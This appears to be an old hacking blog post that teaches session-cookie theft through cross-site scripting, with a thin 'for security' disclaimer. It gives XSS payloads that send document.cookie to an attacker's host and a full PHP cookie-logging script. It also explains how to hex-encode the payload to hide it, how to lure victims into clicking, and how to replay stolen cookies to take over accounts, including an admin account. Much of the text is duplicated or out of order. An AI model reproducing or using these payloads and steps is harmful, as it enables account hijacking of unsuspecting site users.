This attack has been seen on orkut asking a javascript to paste in URL box and you will get new themes...Actually all these are varieties of the same hacking method cookie stealing with XSS. So in this post i would like to give you a brief explanation on cookie stealing and how you can do it.. Actually this is not intended to use to hack other's account but to save your account from future attacks and secure your websites if you have any.....
i know reading big theories are boring.... but this article may help u.......
What are cookies and how are they used by websites and web admins?
Cookies identify you to the site. They store settings about your customized look and feel for the pages you view, your username and encrypted password or user id, who referred you to the site, profile preferences, and just about any kind of information the admins want them to store to customize your user experience. Cookies are most commonly used to give you access to login protected pages once you've entered your information, identify you in content that you change on the site (forum posts or article comments, for example), tell the administrators how you found the site, and more. Again, cookies will function as their creators have written them to function. This sounds like a simple, obvious statement, but it can't be overlooked. We'll see why later.
So what are the effects if cookies are manipulated?
Insecure cookies can be changed to allow you access to protected pages (ex admin), change your user id to impersonate other users, etc. Up until now, this tutorial has been all theoretical information, so how about a little real-life application now?
One of the website I know worked like this: the user would log in and the site would check the username and password combination. If they were correct, then the site would give the user a cookie containing their user id (ex: 1428) to identify them to the site for the remainder of their session, their username to be displayed on the content they changed (ex: fourthdimension), and some other miscellaneous info like local time, referrer, etc. Like I mentioned earlier, sites will only use cookies as well as their administrator created them to. Are you beginning to see what could happen if administrators use cookies insecurely like this one did? If not, you will in a few minutes. The minute I saw my cookie and understood how the site used it, I knew the site can be hacked. The first thing I did was fool around with changing the value of my username. Sure enough, when I posted comments on the site, the comment author fields displayed whatever I had just changed my cookie's username value to. Well, that was fun, but not very useful unless I wanted to use it for phishing or social engineering, none of which were objectives in this test, so I decided to take note of it in my report and move on. What about the user id field? Like I said, the site would check for a valid username/pass combo ONCE, when the user logged in. After that, it relied on the cookie to tell it who the user was. That made the user id field a pretty promising field to change if I want to escalate my privileges on the site or control other users' accounts. Sure enough, as I changed the user id, I would change who I was logged in as. (Note that the display name didn't change because that was stored seperately as I mentioned earlier, but all the user info and preferences, etc changed, so I was sure that it worked.) Working on the assumption that the user id wasn't a randomly generated number but actually the member number assigned by the order of registration, I decided to try for the admin's account, which would have the user id of 1 or 0001 or something along those lines. After a few minutes of tweaking that logic, I was logged in as the site administrator. So now do you see how powerful changing your cookie can be if site administrators don't user secure cookies or use their cookies securely? I didn't even need to know the admin's username or password, and since there were no visible attacks on the site, there was nothing to raise anyone's suspiscion. Cookies can be usefull tools when used correctly by web admins, but powerfull attack vectors to be exploited when used incorrectly.
So now that you understand the theory and applications of cookies, you're probably wondering how you can edit them on your own. There are many ways to change cookies, such as javascript injections, dozens of firefox addons, etc. My favorite way is by using a firefox addon called Firecookie, which is actually an extension to another firefox addon, firebug. You can download them from mozilla's official addon site (firebug must be installed first):
Firebug: https://addons.mozilla.org/en-US/firefox/addon/1843Firecookie: https://addons.mozilla.org/en-US/firefox/addon/6683
If you don't have firefox, get firefox. Now that you have them installed, I'll give you a quick guide to editing cookies with them. There's a lot more you can do with firebug, so I'd encourage you to look at some tutorials for its other features as well, like editing pages' source code on the fly with its Inspect feature. That aside, back to editing cookies. Click the firebug icon on the bottom right of your firefox window. Now click on the Cookies tab at the top of the window that pulls up. Fill in the checkbox for Cookies and click apply. Click OK on any windows that pop up about resending data. Now you should see a listing of the cookie field and values, among other things. Right click on the field you want to change and click edit. Change the value field to whatever you want. You may need to change the session only check box or the expiration date to get the cookie to stay once the page has refreshed, depending on the page. Once you've changed the value, refresh the page. If you still see your cookie in the firecookie window, then your cookie is in effect. If not, you may need to play with some of the settings as I mentioned earlier.
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Cross-site scripting holes in general can be seen as vulnerabilities which allow attackers to bypass security mechanisms. By finding clever ways of injecting malicious scripts into web pages an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other objects.
There are three distinct types of XSS vulnerabilities:
non-persistent
persistent
and DOM-based (which can be either persistent or non-persistent).
Non-persistent cross-site scripting hole is also referred to as a reflected vulnerability, and is by far the most common type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If any occurrence of the search terms is not HTML entity encoded, an XSS hole will result.
Persistent XSS vulnerability is also referred to as a stored or second-order vulnerability, and it allows the most powerful kinds of attacks. A type 2 XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being encoded using HTML entities. A classic example of this is with online message boards, where users are allowed to post.
DOM-based XSS vulnerability, also referred to as local cross-site scripting, is based on the standard object model for representing HTML or XML called the Document Object Model or DOM for short. With DOM-based cross-site scripting vulnerabilities, the problem exists within a page's client-side script itself. For instance, if a piece of JavaScript accesses a URL request parameter and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS hole will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side scripts.
**************************************************
What is Cross Site Scripting?
There are three distinct types of XSS vulnerabilities:
non-persistent
persistent
and DOM-based (which can be either persistent or non-persistent).
Non-persistent cross-site scripting hole is also referred to as a reflected vulnerability, and is by far the most common type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If any occurrence of the search terms is not HTML entity encoded, an XSS hole will result.
Persistent XSS vulnerability is also referred to as a stored or second-order vulnerability, and it allows the most powerful kinds of attacks. A type 2 XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being encoded using HTML entities. A classic example of this is with online message boards, where users are allowed to post.
DOM-based XSS vulnerability, also referred to as local cross-site scripting, is based on the standard object model for representing HTML or XML called the Document Object Model or DOM for short. With DOM-based cross-site scripting vulnerabilities, the problem exists within a page's client-side script itself. For instance, if a piece of JavaScript accesses a URL request parameter and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS hole will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side scripts.
**************************************************
theory part over... now practical part
HOW U CAN STEAL COOKIE USING XSS
(NOTE: Again... this was written to educate you on the security aspects of the following information, not to teach you how to break the law or do something stupid. Use what you learn from this to make your website more secure/use better browsing habits, not break into other websites.)
Now we need to understand a bit more about how XSS actually works before moving on. From above, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code:
<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>
We want to exploit this page using XSS. How do we do that? We know that we want to inject our own script into the value field (this field is tied to the search box we can enter text into). We could start by using a test script:
When we enter this into the search box and click search, nothing happens. Why? It's still inside the value quotes, which turn the entire script into plaintext. If you look at the page source now, you see that the above portion of code now looks like this:
Note the quotes around our script. So what do we do? We need to end the value field before our script can actually be executed. So we tweak our test injection a bit:
Of course, if you don't want the recipient to see the injection, you'll need to hex the query. You can do that here:
Hexing the query of this url gives us
The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript knowledge is definitely helpful for finding more complicated ones, but code like the above works often enough.
OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?
The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.
First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):
This script will record the cookies of every user that views it.
Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:
yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened. Note that this injection will only work properly if you aren't actually modifying the page source on the server's end. Otherwise the unmodified page will actually be the modified page and you'll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to our stealer:
This will eliminate the looping problem since the user has to cilck on it for it to work, and it's only a one-way link. Of course, then the user's trail ends at your cookie stealing script, so you'd need to modify that code a little to keep them from suspecting what's going on. You Could just add some text to the page saying something like "under construction" by changing the end of our php script from this:
to this:
Now when you open log.txt, you should see something like this:
You will most likely see many other fields besides PHPSESSID, but this one is good enough for this example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify all your cookie's fields to match the data from the cookie in your log file and refresh the page. The server thinks you're the user you stole the cookie from. This way you can log into accounts and many other things without even needing to know the passwords or usernames.
So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.
Code:
<script>alert("test")</script>
<script>alert("test")</script>
Code:
<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>
<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>
Code:
"><script>alert("test")</script>
"><script>alert("test")</script>
This should close the quotes end the input section so that our script can be rendered as a part of the source instead of plaintext. And now when we hit enter we get a nice pop-up box saying "test", showing us our script was executed. Keep in mind that you're not actually writing this data to the server (unless you're injecting it with a script that actually modifies the page on the server's end also, like a guestbook or comment script), just changing how the dynamic page is acting on your end. If you want someone else to see what you see when you use this injection, you need to send them the link with that injection already in the page. For example,
Code:
http://www.site.com/search.php?q="><script>alert("test")</script>
http://www.site.com/search.php?q="><script>alert("test")</script>
Code:
http://centricle.com/tools/ascii-hex/
http://centricle.com/tools/ascii-hex/
Code:
http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e
http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e
Using XSS to Steal Cookies
OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?
The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.
First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):
Code:
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:
Code:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
Code:
"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>
"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>
Code:
logData();
?>
logData();
?>
Code:
logData();
echo '<b>Page Under Construction</b>'
?>
logData();
echo '<b>Page Under Construction</b>'
?>
Code:
IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.ifa.org.nz/search.php |
DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373
IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.ifa.org.nz/search.php |
DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373
Summary
So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.
No comments:
Post a Comment